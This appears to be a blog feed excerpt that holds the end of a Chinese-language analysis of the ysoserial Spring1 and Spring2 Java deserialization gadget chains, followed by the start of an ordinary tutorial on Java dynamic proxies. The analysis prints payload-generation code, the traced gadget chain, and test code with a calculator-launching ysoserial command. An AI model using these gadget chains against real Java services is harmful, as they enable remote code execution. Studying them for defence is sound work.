    <span class="k">this</span><span class="o">.</span><span class="na">result</span> <span class="o">=</span> <span class="nc">ReflectionUtils</span><span class="o">.</span><span class="na">invokeMethod</span><span class="o">(</span><span class="n">method</span><span class="o">,</span> <span class="k">this</span><span class="o">.</span><span class="na">provider</span><span class="o">.</span><span class="na">getType</span><span class="o">());</span>
<span class="o">}</span>
</code></pre></div></div>

<p>因为 <code class="language-plaintext highlighter-rouge">this.provider</code> 即  <code class="language-plaintext highlighter-rouge">typeProviderProxy</code> 是代理对象，因此调用 <code class="language-plaintext highlighter-rouge">getType()</code> 方法，会调用关联 <code class="language-plaintext highlighter-rouge">InvocationHanlder</code> 的 <code class="language-plaintext highlighter-rouge">invoke()</code> 方法，根据 <a href="#知识点">知识点</a> 中提到的  <code class="language-plaintext highlighter-rouge">AnnotationInvocationHandler</code>  可以指定方法返回值的特性，这里会返回 <code class="language-plaintext highlighter-rouge">typeTemplatesProxy</code> ，接着调用其 <code class="language-plaintext highlighter-rouge">getClass()</code> 方法，反射查找 <code class="language-plaintext highlighter-rouge">newTransformer</code> 方法</p>

<p>下一步会反射调用 <code class="language-plaintext highlighter-rouge">typeTemplatesProxy</code> 的 <code class="language-plaintext highlighter-rouge">newTransformer</code> 方法，因为 <code class="language-plaintext highlighter-rouge">typeTemplatesProxy</code> 也是一个代理对象，因此会调用 <code class="language-plaintext highlighter-rouge">ObjectFactoryDelegatingInvocationHandler</code> 的 <code class="language-plaintext highlighter-rouge">inovke()</code> 方法，其代码如下</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kd">static</span> <span class="kd">class</span> <span class="nc">ObjectFactoryDelegatingInvocationHandler</span> <span class="kd">implements</span> <span class="nc">InvocationHandler</span><span class="o">,</span> <span class="nc">Serializable</span> <span class="o">{</span>

    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">ObjectFactory</span><span class="o">&lt;?&gt;</span> <span class="n">objectFactory</span><span class="o">;</span>

    <span class="kd">public</span> <span class="nf">ObjectFactoryDelegatingInvocationHandler</span><span class="o">(</span><span class="nc">ObjectFactory</span><span class="o">&lt;?&gt;</span> <span class="n">objectFactory</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">this</span><span class="o">.</span><span class="na">objectFactory</span> <span class="o">=</span> <span class="n">objectFactory</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="nc">Object</span> <span class="nf">invoke</span><span class="o">(</span><span class="nc">Object</span> <span class="n">proxy</span><span class="o">,</span> <span class="nc">Method</span> <span class="n">method</span><span class="o">,</span> <span class="nc">Object</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Throwable</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">methodName</span> <span class="o">=</span> <span class="n">method</span><span class="o">.</span><span class="na">getName</span><span class="o">();</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">methodName</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="s">"equals"</span><span class="o">))</span> <span class="o">{</span>
            <span class="k">return</span> <span class="o">(</span><span class="n">proxy</span> <span class="o">==</span> <span class="n">args</span><span class="o">[</span><span class="mi">0</span><span class="o">]);</span>
        <span class="o">}</span>
        <span class="k">else</span> <span class="nf">if</span> <span class="o">(</span><span class="n">methodName</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="s">"hashCode"</span><span class="o">))</span> <span class="o">{</span>
            <span class="k">return</span> <span class="nc">System</span><span class="o">.</span><span class="na">identityHashCode</span><span class="o">(</span><span class="n">proxy</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="k">else</span> <span class="nf">if</span> <span class="o">(</span><span class="n">methodName</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="s">"toString"</span><span class="o">))</span> <span class="o">{</span>
            <span class="k">return</span> <span class="k">this</span><span class="o">.</span><span class="na">objectFactory</span><span class="o">.</span><span class="na">toString</span><span class="o">();</span>
        <span class="o">}</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="c1">// 最终执行代码</span>
            <span class="k">return</span> <span class="n">method</span><span class="o">.</span><span class="na">invoke</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">objectFactory</span><span class="o">.</span><span class="na">getObject</span><span class="o">(),</span> <span class="n">args</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="k">catch</span> <span class="o">(</span><span class="nc">InvocationTargetException</span> <span class="n">ex</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">throw</span> <span class="n">ex</span><span class="o">.</span><span class="na">getTargetException</span><span class="o">();</span>
        <span class="o">}</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>根据代码可以得知，最终会执行到</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">return</span> <span class="n">method</span><span class="o">.</span><span class="na">invoke</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">objectFactory</span><span class="o">.</span><span class="na">getObject</span><span class="o">(),</span> <span class="n">args</span><span class="o">);</span> 
</code></pre></div></div>

<p>那么这里的<code class="language-plaintext highlighter-rouge">objectFactory</code> 的值是什么？</p>

<p>根据 payload 中的生成代码</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">final</span> <span class="nc">Object</span> <span class="n">templates</span> <span class="o">=</span> <span class="nc">Gadgets</span><span class="o">.</span><span class="na">createTemplatesImpl</span><span class="o">(</span><span class="n">command</span><span class="o">);</span>

<span class="kd">final</span> <span class="nc">ObjectFactory</span> <span class="n">objectFactoryProxy</span> <span class="o">=</span>
        <span class="nc">Gadgets</span><span class="o">.</span><span class="na">createMemoitizedProxy</span><span class="o">(</span><span class="nc">Gadgets</span><span class="o">.</span><span class="na">createMap</span><span class="o">(</span><span class="s">"getObject"</span><span class="o">,</span> <span class="n">templates</span><span class="o">),</span> <span class="nc">ObjectFactory</span><span class="o">.</span><span class="na">class</span><span class="o">);</span>
</code></pre></div></div>

<p>值为 <code class="language-plaintext highlighter-rouge">objectFactoryProxy</code> ，也是一个代理对象，根据 <code class="language-plaintext highlighter-rouge">AnnotationInvocationHandler</code> 的特性，<code class="language-plaintext highlighter-rouge">objectFactory.getObject()</code>  的返回值为 <code class="language-plaintext highlighter-rouge">templates</code>，即最终调用的是 <code class="language-plaintext highlighter-rouge">TemplatesImpl</code> 的 <code class="language-plaintext highlighter-rouge">newTransformer()</code> 方法，触发恶意代码执行</p>

<p>整理一下关系</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">MethodInvokeTypeProvider.provider</code> =&gt; <code class="language-plaintext highlighter-rouge">typeProviderProxy</code></li>
  <li><code class="language-plaintext highlighter-rouge">typeProviderProxy.getType()</code> =&gt;  <code class="language-plaintext highlighter-rouge">AnnotationInvocationHandler.invoke()</code>  =&gt; <code class="language-plaintext highlighter-rouge">typeTemplatesProxy</code></li>
  <li><code class="language-plaintext highlighter-rouge">typeTemplatesProxy.newTransformer()</code> =&gt; <code class="language-plaintext highlighter-rouge">ObjectFactoryDelegatingInvocationHandler.invoke()</code></li>
  <li><code class="language-plaintext highlighter-rouge">ObjectFactoryDelegatingInvocationHandler.objectFactory.getObject()</code> =&gt;  <code class="language-plaintext highlighter-rouge">AnnotationInvocationHandler.invoke()</code>  =&gt; <code class="language-plaintext highlighter-rouge">TemplatesImpl</code></li>
</ul>

<p>精简的 Gadget chain 如下</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">SerializableTypeWrapper</span><span class="o">.</span><span class="na">MethodInvokeTypeProvider</span><span class="o">.</span><span class="na">readObject</span><span class="o">()</span>
    <span class="nc">SerializableTypeWrapper</span><span class="o">.</span><span class="na">TypeProvider</span><span class="o">(</span><span class="nc">Proxy</span><span class="o">).</span><span class="na">getType</span><span class="o">()</span>
      <span class="nc">AnnotationInvocationHandler</span><span class="o">.</span><span class="na">invoke</span><span class="o">()</span>                      
    <span class="nc">SerializableTypeWrapper</span><span class="o">.</span><span class="na">TypeProvider</span><span class="o">(</span><span class="nc">Proxy</span><span class="o">).</span><span class="na">getType</span><span class="o">()</span>
      <span class="nc">AnnotationInvocationHandler</span><span class="o">.</span><span class="na">invoke</span><span class="o">()</span>
    <span class="nc">ReflectionUtils</span><span class="o">.</span><span class="na">invokeMethod</span><span class="o">()</span>
      <span class="nc">Templates</span><span class="o">(</span><span class="nc">Proxy</span><span class="o">).</span><span class="na">newTransformer</span><span class="o">()</span>
        <span class="nc">AutowireUtils</span><span class="o">.</span><span class="na">ObjectFactoryDelegatingInvocationHandler</span><span class="o">.</span><span class="na">invoke</span><span class="o">()</span>
          <span class="nc">ObjectFactory</span><span class="o">(</span><span class="nc">Proxy</span><span class="o">).</span><span class="na">getObject</span><span class="o">()</span>
            <span class="nc">AnnotationInvocationHandler</span><span class="o">.</span><span class="na">invoke</span><span class="o">()</span>
          <span class="nc">TemplatesImpl</span><span class="o">.</span><span class="na">newTransformer</span><span class="o">()</span>
</code></pre></div></div>

<h1 id="spring2">Spring2</h1>

<p>payload 生成代码如下</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="nc">Object</span> <span class="nf">getObject</span> <span class="o">(</span> <span class="kd">final</span> <span class="nc">String</span> <span class="n">command</span> <span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>

    <span class="kd">final</span> <span class="nc">Object</span> <span class="n">templates</span> <span class="o">=</span> <span class="nc">Gadgets</span><span class="o">.</span><span class="na">createTemplatesImpl</span><span class="o">(</span><span class="n">command</span><span class="o">);</span>
    <span class="c1">// 将 AdvisedSupport 的 target 属性值设置为 templates</span>
    <span class="c1">// AdvisedSupport 是 Spring AOP 的代理配置 managaer</span>
    <span class="nc">AdvisedSupport</span> <span class="n">as</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">AdvisedSupport</span><span class="o">();</span>
    <span class="n">as</span><span class="o">.</span><span class="na">setTargetSource</span><span class="o">(</span><span class="k">new</span> <span class="nc">SingletonTargetSource</span><span class="o">(</span><span class="n">templates</span><span class="o">));</span>
    <span class="c1">// 使用 JdkDynamicAopProxy(实现了InvocationHandler接口) 来创建 Type 和 Templates 接口的动态代理</span>
    <span class="c1">// JdkDynamicAopProxy 的 advised 属性值为 as</span>
    <span class="kd">final</span> <span class="nc">Type</span> <span class="n">typeTemplatesProxy</span> <span class="o">=</span> <span class="nc">Gadgets</span><span class="o">.</span><span class="na">createProxy</span><span class="o">(</span>
        <span class="o">(</span><span class="nc">InvocationHandler</span><span class="o">)</span> <span class="nc">Reflections</span><span class="o">.</span><span class="na">getFirstCtor</span><span class="o">(</span><span class="s">"org.springframework.aop.framework.JdkDynamicAopProxy"</span><span class="o">).</span><span class="na">newInstance</span><span class="o">(</span><span class="n">as</span><span class="o">),</span>
        <span class="nc">Type</span><span class="o">.</span><span class="na">class</span><span class="o">,</span>
        <span class="nc">Templates</span><span class="o">.</span><span class="na">class</span><span class="o">);</span>

    <span class="kd">final</span> <span class="nc">Object</span> <span class="n">typeProviderProxy</span> <span class="o">=</span> <span class="nc">Gadgets</span><span class="o">.</span><span class="na">createMemoitizedProxy</span><span class="o">(</span>
        <span class="nc">Gadgets</span><span class="o">.</span><span class="na">createMap</span><span class="o">(</span><span class="s">"getType"</span><span class="o">,</span> <span class="n">typeTemplatesProxy</span><span class="o">),</span>
        <span class="n">forName</span><span class="o">(</span><span class="s">"org.springframework.core.SerializableTypeWrapper$TypeProvider"</span><span class="o">));</span>

    <span class="nc">Object</span> <span class="n">mitp</span> <span class="o">=</span> <span class="nc">Reflections</span><span class="o">.</span><span class="na">createWithoutConstructor</span><span class="o">(</span><span class="n">forName</span><span class="o">(</span><span class="s">"org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"</span><span class="o">));</span>
    <span class="nc">Reflections</span><span class="o">.</span><span class="na">setFieldValue</span><span class="o">(</span><span class="n">mitp</span><span class="o">,</span> <span class="s">"provider"</span><span class="o">,</span> <span class="n">typeProviderProxy</span><span class="o">);</span>
    <span class="nc">Reflections</span><span class="o">.</span><span class="na">setFieldValue</span><span class="o">(</span><span class="n">mitp</span><span class="o">,</span> <span class="s">"methodName"</span><span class="o">,</span> <span class="s">"newTransformer"</span><span class="o">);</span>
    <span class="k">return</span> <span class="n">mitp</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Spring2 和 Spring1 的反序列化过程大致相似，唯一不同的在于，这里使用了 AOP 包中另一个 ` InvocationHandler<code class="language-plaintext highlighter-rouge"> -  </code>JdkDynamicAopProxy<code class="language-plaintext highlighter-rouge"> 来创建 </code>typeTemplatesProxy<code class="language-plaintext highlighter-rouge">，来看一下它的 </code>invoke()` 方法，精简后如下</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">final</span> <span class="kd">class</span> <span class="nc">JdkDynamicAopProxy</span> <span class="kd">implements</span> <span class="nc">AopProxy</span><span class="o">,</span> <span class="nc">InvocationHandler</span><span class="o">,</span> <span class="nc">Serializable</span> <span class="o">{</span>
    <span class="o">...</span>
        <span class="kd">private</span> <span class="kd">final</span> <span class="nc">AdvisedSupport</span> <span class="n">advised</span><span class="o">;</span>
    <span class="o">...</span>

        <span class="kd">public</span> <span class="nc">Object</span> <span class="nf">invoke</span><span class="o">(</span><span class="nc">Object</span> <span class="n">proxy</span><span class="o">,</span> <span class="nc">Method</span> <span class="n">method</span><span class="o">,</span> <span class="nc">Object</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Throwable</span> <span class="o">{</span>
        <span class="nc">MethodInvocation</span> <span class="n">invocation</span><span class="o">;</span>
        <span class="nc">Object</span> <span class="n">oldProxy</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
        <span class="kt">boolean</span> <span class="n">setProxyContext</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span>

        <span class="nc">TargetSource</span> <span class="n">targetSource</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">advised</span><span class="o">.</span><span class="na">targetSource</span><span class="o">;</span>
        <span class="nc">Class</span><span class="o">&lt;?&gt;</span> <span class="n">targetClass</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
        <span class="nc">Object</span> <span class="n">target</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>

        <span class="k">try</span> <span class="o">{</span>
            <span class="o">....</span>

                <span class="n">target</span> <span class="o">=</span> <span class="n">targetSource</span><span class="o">.</span><span class="na">getTarget</span><span class="o">();</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">target</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
                <span class="n">targetClass</span> <span class="o">=</span> <span class="n">target</span><span class="o">.</span><span class="na">getClass</span><span class="o">();</span>
            <span class="o">}</span>

            <span class="nc">List</span><span class="o">&lt;</span><span class="nc">Object</span><span class="o">&gt;</span> <span class="n">chain</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">advised</span><span class="o">.</span><span class="na">getInterceptorsAndDynamicInterceptionAdvice</span><span class="o">(</span><span class="n">method</span><span class="o">,</span> <span class="n">targetClass</span><span class="o">);</span>

            <span class="k">if</span> <span class="o">(</span><span class="n">chain</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">())</span> <span class="o">{</span>
                <span class="c1">// 调用 target 的 method 方法</span>
                <span class="n">retVal</span> <span class="o">=</span> <span class="nc">AopUtils</span><span class="o">.</span><span class="na">invokeJoinpointUsingReflection</span><span class="o">(</span><span class="n">target</span><span class="o">,</span> <span class="n">method</span><span class="o">,</span> <span class="n">args</span><span class="o">);</span>
            <span class="o">}</span>
            <span class="k">else</span> <span class="o">{</span>
                <span class="o">....</span>
            <span class="o">}</span>

            <span class="o">...</span>
                <span class="k">return</span> <span class="n">retVal</span><span class="o">;</span>
        <span class="o">}</span>
        <span class="k">finally</span> <span class="o">{</span>
            <span class="o">....</span>
        <span class="o">}</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>经过一系列判断，最后会在 <code class="language-plaintext highlighter-rouge">this.advised.targetSource.getTarget()</code>  对象上调用 method，根据 paylaod 生成代码，这里的 target 为 <code class="language-plaintext highlighter-rouge">TemplatesImpl</code>，method 为 <code class="language-plaintext highlighter-rouge">newTransformer</code>，最终触发恶意代码执行</p>

<h1 id="测试">测试</h1>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Test</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">testSpring1</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
    <span class="c1">// mkdir -p /tmp/ysoserial</span>
    <span class="c1">// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Spring1 "open /Applications/Calculator.app" &gt; /tmp/ysoserial/spring1.class</span>
    <span class="nc">ObjectInputStream</span> <span class="n">ois</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ObjectInputStream</span><span class="o">(</span><span class="k">new</span> <span class="nc">FileInputStream</span><span class="o">(</span><span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="s">"/tmp/ysoserial/spring1.class"</span><span class="o">)));</span>
    <span class="n">ois</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span>
<span class="o">}</span>

<span class="nd">@Test</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">testSpring2</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
    <span class="c1">// mkdir -p /tmp/ysoserial</span>
    <span class="c1">// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Spring2 "open /Applications/Calculator.app" &gt; /tmp/ysoserial/spring2.class</span>
    <span class="nc">ObjectInputStream</span> <span class="n">ois</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ObjectInputStream</span><span class="o">(</span><span class="k">new</span> <span class="nc">FileInputStream</span><span class="o">(</span><span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="s">"/tmp/ysoserial/spring2.class"</span><span class="o">)));</span>
    <span class="n">ois</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span>
<span class="o">}</span>
</code></pre></div></div>]]></content><author><name>b1ngz</name></author><category term="Java" /><category term="ysoserial" /><category term="反序列化" /><category term="Spring" /><summary type="html"><![CDATA[Java ysoserial Spring Note]]></summary></entry><entry><title type="html">Java Dynamic Proxy</title><link href="https://b1ngz.github.io/java-dynamic-proxy/" rel="alternate" type="text/html" title="Java Dynamic Proxy" /><published>2019-04-30T11:11:00+00:00</published><updated>2019-04-30T11:11:00+00:00</updated><id>https://b1ngz.github.io/java-dynamic-proxy</id><content type="html" xml:base="https://b1ngz.github.io/java-dynamic-proxy/"><![CDATA[<h1 id="简介">简介</h1>

<p>Proxy 是设计模式中的一种。当需要在已存在的 class 上添加或修改功能时，可以通过创建 proxy object 来实现</p>

<p>通常 proxy object 和被代理对象拥有相同的方法，并且拥有被代理对象的引用，可以调用其方法</p>

<p>代理模式<a href="https://javax0.wordpress.com/2016/01/20/java-dynamic-proxy">应用场景</a>包括</p>

<ul>
  <li>在方法执行前后打印和记录日志</li>
  <li>认证、参数检查</li>
  <li>lazy instantiation (Hibernate, Mybatis)</li>
  <li>AOP (transaction)</li>
  <li>mocking</li>
  <li>…</li>
</ul>

<p>代理有两种实现方式</p>

<ul>
  <li>静态代理：在编译时期，创建代理对象</li>
  <li>动态代理：在运行时期，动态创建</li>
</ul>

<p>对于重复性工作，如打印日志，静态代理需要为每个 class 都创建 proxy class，过程繁琐和低效，而动态代理通过使用反射在运行时生成 bytecode 的方式来实现，更加方便和强大</p>

<h1 id="过程">过程</h1>

<p>因为 JDK 自带的 Dynamic proxy 只能够代理 interfaces，因此被代理对象需要实现一个或多个接口，具体可参考 https://stackoverflow.com/a/10664208</p>

<p>先来看一些概念：</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">proxy interface</code>  proxy class 实现的接口</li>
  <li><code class="language-plaintext highlighter-rouge">proxy class </code> 运行时创建的代理 class，并实现一个或多个 <code class="language-plaintext highlighter-rouge">proxy interface</code></li>
  <li><code class="language-plaintext highlighter-rouge">proxy instance</code>  proxy class 的实例</li>
  <li><code class="language-plaintext highlighter-rouge">InvocationHandler</code>  每个 proxy instance 都有一个关联的 invocation handler，当调用 proxy 对象的方法时，会统一封装，并转发到 <code class="language-plaintext highlighter-rouge">invoke()</code> 方法</li>
</ul>

<p><code class="language-plaintext highlighter-rouge">InvocationHandler</code>  接口的定义如下</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">package</span> <span class="nn">java.lang.reflect</span><span class="o">;</span>

<span class="kd">public</span> <span class="kd">interface</span> <span class="nc">InvocationHandler</span> <span class="o">{</span>
    <span class="kd">public</span> <span class="nc">Object</span> <span class="nf">invoke</span><span class="o">(</span><span class="nc">Object</span> <span class="n">proxy</span><span class="o">,</span> <span class="nc">Method</span> <span class="n">method</span><span class="o">,</span> <span class="nc">Object</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span>
        <span class="kd">throws</span> <span class="nc">Throwable</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p>只定义了一个方法 <code class="language-plaintext highlighter-rouge">invoke()</code>，参数含义如下</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Object proxy</code>  生成的代理对象</li>
  <li><code class="language-plaintext highlighter-rouge">Method method</code>  调用的方法，类型为 <code class="language-plaintext highlighter-rouge">java.lang.reflect.Method </code></li>
  <li><code class="language-plaintext highlighter-rouge">Object[] args</code>  调用方法的参数，array of objects</li>
</ul>

<p><strong>简单来说就是，调用 proxy object 上的方法，最终都会转换成对关联 <code class="language-plaintext highlighter-rouge">InvocationHandler</code> 的 <code class="language-plaintext highlighter-rouge">invoke()</code> 方法的调用</strong></p>

<p>可以使用 <code class="language-plaintext highlighter-rouge">java.lang.reflect.Proxy</code> 的静态方法 <code class="language-plaintext highlighter-rouge">newProxyInstance</code> 来创建 Proxy object</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">static</span> <span class="nc">Object</span> <span class="nf">newProxyInstance</span><span class="o">(</span><span class="nc">ClassLoader</span> <span class="n">loader</span><span class="o">,</span>
                                          <span class="nc">Class</span><span class="o">&lt;?&gt;[]</span> <span class="n">interfaces</span><span class="o">,</span>
                                          <span class="nc">InvocationHandler</span> <span class="n">h</span><span class="o">)</span>
        <span class="kd">throws</span> <span class="nc">IllegalArgumentException</span>
    <span class="o">{</span>
    <span class="o">...</span>
    <span class="o">}</span>
</code></pre></div></div>

<p>参数说明</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">loader</code>  定义 proxy class 的 ClassLoader</li>
  <li><code class="language-plaintext highlighter-rouge">interfaces</code>  需要代理的接口</li>
  <li><code class="language-plaintext highlighter-rouge">h</code> 关联的 InvocationHandler</li>
</ul>

<h1 id="例子">例子</h1>

<p>使用动态代理打印方法的执行耗时</p>

<p>定义代理接口</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">interface</span> <span class="nc">Foo</span> <span class="o">{</span>
    <span class="nc">String</span> <span class="nf">doSomething</span><span class="o">();</span>
<span class="o">}</span>
</code></pre></div></div>

<p>实现接口</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">class</span> <span class="nc">FooImpl</span> <span class="kd">implements</span> <span class="nc">Foo</span> <span class="o">{</span>
    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="nc">String</span> <span class="nf">doSomething</span><span class="o">()</span> <span class="o">{</span>
        <span class="k">return</span> <span class="s">"finished"</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>定义 <code class="language-plaintext highlighter-rouge">InvocationHandler</code>，<code class="language-plaintext highlighter-rouge">target</code> 为被代理对象的引用，在方法执行完后打印耗时</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">java.lang.reflect.InvocationHandler</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.lang.reflect.Method</span><span class="o">;</span>

<span class="kd">public</span> <span class="kd">class</span> <span class="nc">TimingInvocationHandler</span> <span class="kd">implements</span> <span class="nc">InvocationHandler</span> <span class="o">{</span>
    <span class="kd">private</span> <span class="nc">Object</span> <span class="n">target</span><span class="o">;</span>

    <span class="kd">public</span> <span class="nf">TimingInvocationHandler</span><span class="o">(</span><span class="nc">Object</span> <span class="n">target</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">this</span><span class="o">.</span><span class="na">target</span> <span class="o">=</span> <span class="n">target</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="kd">public</span> <span class="nc">Object</span> <span class="nf">invoke</span><span class="o">(</span><span class="nc">Object</span> <span class="n">proxy</span><span class="o">,</span> <span class="nc">Method</span> <span class="n">method</span><span class="o">,</span> <span class="nc">Object</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span>
            <span class="kd">throws</span> <span class="nc">Throwable</span> <span class="o">{</span>
        <span class="kt">long</span> <span class="n">start</span> <span class="o">=</span> <span class="nc">System</span><span class="o">.</span><span class="na">nanoTime</span><span class="o">();</span>
        <span class="nc">Object</span> <span class="n">result</span> <span class="o">=</span> <span class="n">method</span><span class="o">.</span><span class="na">invoke</span><span class="o">(</span><span class="n">target</span><span class="o">,</span> <span class="n">args</span><span class="o">);</span>
        <span class="kt">long</span> <span class="n">elapsed</span> <span class="o">=</span> <span class="nc">System</span><span class="o">.</span><span class="na">nanoTime</span><span class="o">()</span> <span class="o">-</span> <span class="n">start</span><span class="o">;</span>

        <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="nc">String</span><span class="o">.</span><span class="na">format</span><span class="o">(</span><span class="s">"Executing %s finished in %d ns"</span><span class="o">,</span>
                <span class="n">method</span><span class="o">.</span><span class="na">getName</span><span class="o">(),</span>
                <span class="n">elapsed</span><span class="o">));</span>

        <span class="k">return</span> <span class="n">result</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>测试</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">org.junit.Test</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">java.lang.reflect.InvocationHandler</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.lang.reflect.Proxy</span><span class="o">;</span>

<span class="kd">public</span> <span class="kd">class</span> <span class="nc">DynamicProxyTest</span> <span class="o">{</span>
    <span class="nd">@Test</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">test</span><span class="o">()</span> <span class="o">{</span>
        <span class="nc">ClassLoader</span> <span class="n">cl</span> <span class="o">=</span> <span class="nc">DynamicProxyTest</span><span class="o">.</span><span class="na">class</span><span class="o">.</span><span class="na">getClassLoader</span><span class="o">();</span>
        <span class="nc">Class</span><span class="o">[]</span> <span class="n">interfaces</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Class</span><span class="o">[]{</span><span class="nc">Foo</span><span class="o">.</span><span class="na">class</span><span class="o">};</span>
        <span class="nc">FooImpl</span> <span class="n">fooImpl</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">FooImpl</span><span class="o">();</span>
        <span class="nc">InvocationHandler</span> <span class="n">timingInvocationHandler</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">TimingInvocationHandler</span><span class="o">(</span><span class="n">fooImpl</span><span class="o">);</span>
        <span class="nc">Foo</span> <span class="n">foo</span> <span class="o">=</span> <span class="o">(</span><span class="nc">Foo</span><span class="o">)</span> <span class="nc">Proxy</span><span class="o">.</span><span class="na">newProxyInstance</span><span class="o">(</span><span class="n">cl</span><span class="o">,</span> <span class="n">interfaces</span><span class="o">,</span> <span class="n">timingInvocationHandler</span><span class="o">);</span>
        <span class="n">foo</span><span class="o">.</span><span class="na">doSomething</span><span class="o">();</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>执行完会打印类似</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Executing doSomething finished in 23148 ns
</code></pre></div></div>

<h1 id="细节">细节</h1>

<p>生成 proxy class 的一些属性和细节</p>

<ul>
  <li>public, final, and not abstract.</li>
  <li>类名不确定，以 <code class="language-plaintext highlighter-rouge">$Proxy</code> 开头</li>
  <li>继承 <code class="language-plaintext highlighter-rouge">java.lang.reflect.Proxy</code>，且 <code class="language-plaintext highlighter-rouge">Proxy</code> 实现了  <code class="language-plaintext highlighter-rouge">java.io.Serializable</code> 接口，因此 proxy instance 是可以序列化的</li>
  <li>按照 <code class="language-plaintext highlighter-rouge">Proxy.newProxyInstance()</code> 传入 interfaces 参数中的接口顺序来实现接口</li>
  <li>在 proxy class 上调用 <code class="language-plaintext highlighter-rouge">getInterfaces</code>，<code class="language-plaintext highlighter-rouge">getMethods</code>，<code class="language-plaintext highlighter-rouge">getMethod</code> 方法，会返回实现的接口中定义的方法，顺序和创建时的参数保持一致</li>
  <li>当调用 proxy instance 同名、同 parameter signature 方法时，<code class="language-plaintext highlighter-rouge">invoke()</code> 方法的 <code class="language-plaintext highlighter-rouge">Method</code> 参数会是最早定义这个方法的 interface 的方法，无论实际调用的方法是什么</li>
